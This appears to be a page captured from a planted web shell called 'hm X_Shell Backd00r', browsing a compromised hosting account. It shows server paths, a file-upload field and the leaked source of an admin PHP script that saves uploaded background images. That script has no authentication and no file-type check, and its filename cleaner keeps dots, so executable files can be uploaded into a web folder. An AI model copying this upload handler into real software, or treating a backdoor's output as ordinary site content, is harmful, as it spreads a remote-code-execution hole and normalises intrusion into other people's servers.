[#] hm X_Shell Backd00r [#]

Current Path : /var/www/clients/client35/web46/web/admin/AppController/
Upload File :
Current File : /var/www/clients/client35/web46/web/admin/AppController/guardar_fondo.php

<?php
 
    require_once '../models/Fondos.php'; 
    $fondo = new Fondos();
        
      $fnd_activo = ($_POST['fnd_activo']);
      $cadena = ($_FILES['nombre_img']['name']);
     
      $cadena_limpia = sanear_string($cadena);

      $fondo->setNombre_img($cadena_limpia);
      $fondo->setFnd_activo($fnd_activo);
      $fondo->guardar();     

//-------------- subir archivo -------------------------------->
            
        $ruta = '../../images_fondos/'.$cadena_limpia;
        move_uploaded_file($_FILES['nombre_img']['tmp_name'], $ruta); 

    
//-------------  Recuperar vista ------------------------------>
 
 
      $fondo = Fondos::RecuperarImagenes();
      foreach($fondo as $item): 

        if ($item['fnd_activo']=="Activo") {
          $estado = " glyphicon-ok";
        }else{
          $estado = "";
        }
echo '             
          <div class="contend-image" >
              <div class="heder-i">
            <h2><span class="glyphicon'.$estado.' ok" ></span></h2></div>

              <div class="cont-img">
              <img src="../../images_fondos/'.$item['nombre_img'].'" whidth="100px" height="100px" ></div> 
                <div class="footer-i">
                  <span class=" establecer glyphicon glyphicon-ok-sign pencil"   data-id_fondo="'.$item['id_fondo'].'"></span> &nbsp;
                  <span class=" delete-event glyphicon glyphicon-trash trash"  data-id_fondo="'.$item['id_fondo'].'"></span>
                </div>
          </div>  
                
          <div class="separador">
          </div>
               
               '; endforeach; echo '         
 </div>
    <div class="separador"></div><br>
     
    </div>


 ';    
    
    
  
//------------------- Sanear String de imagen-------------------------->
function sanear_string($string)
{

    $string = trim($string);

    $string = str_replace(
        array('á', 'à', 'ä', 'â', 'ª', 'Á', 'À', 'Â', 'Ä'),
        array('a', 'a', 'a', 'a', 'a', 'A', 'A', 'A', 'A'),
        $string
    );

    $string = str_replace(
        array('é', 'è', 'ë', 'ê', 'É', 'È', 'Ê', 'Ë'),
        array('e', 'e', 'e', 'e', 'E', 'E', 'E', 'E'),
        $string
    );

    $string = str_replace(
        array('í', 'ì', 'ï', 'î', 'Í', 'Ì', 'Ï', 'Î'),
        array('i', 'i', 'i', 'i', 'I', 'I', 'I', 'I'),
        $string
    );

    $string = str_replace(
        array('ó', 'ò', 'ö', 'ô', 'Ó', 'Ò', 'Ö', 'Ô'),
        array('o', 'o', 'o', 'o', 'O', 'O', 'O', 'O'),
        $string
    );

    $string = str_replace(
        array('ú', 'ù', 'ü', 'û', 'Ú', 'Ù', 'Û', 'Ü', ' '),
        array('u', 'u', 'u', 'u', 'U', 'U', 'U', 'U', '_'),
        $string
    );

    $string = str_replace(
        array('ñ', 'Ñ', 'ç', 'Ç'),
        array('n', 'N', 'c', 'C',),
        $string
    );

    //Esta parte se encarga de eliminar cualquier caracter extraño
    $string = str_replace(
        array("\\", "¨", "º", "~",
             "#", "@", "|", "!", "\"",
             "·", "$", "%", "&", "/",
             "(", ")", "?", "'", "¡",
             "¿", "[", "^", "`", "]",
             "+", "}", "{", "¨", "´",
             ">", "< ", ";", ",", ":"
            ),
        '',
        $string
    );


    return $string;
}
//------------------- End Saneado -------------------------->
    
    

?>

Mr.hm X_Shell Backd00r 1.0, Coded By Mr.hm X_Shell Backd00r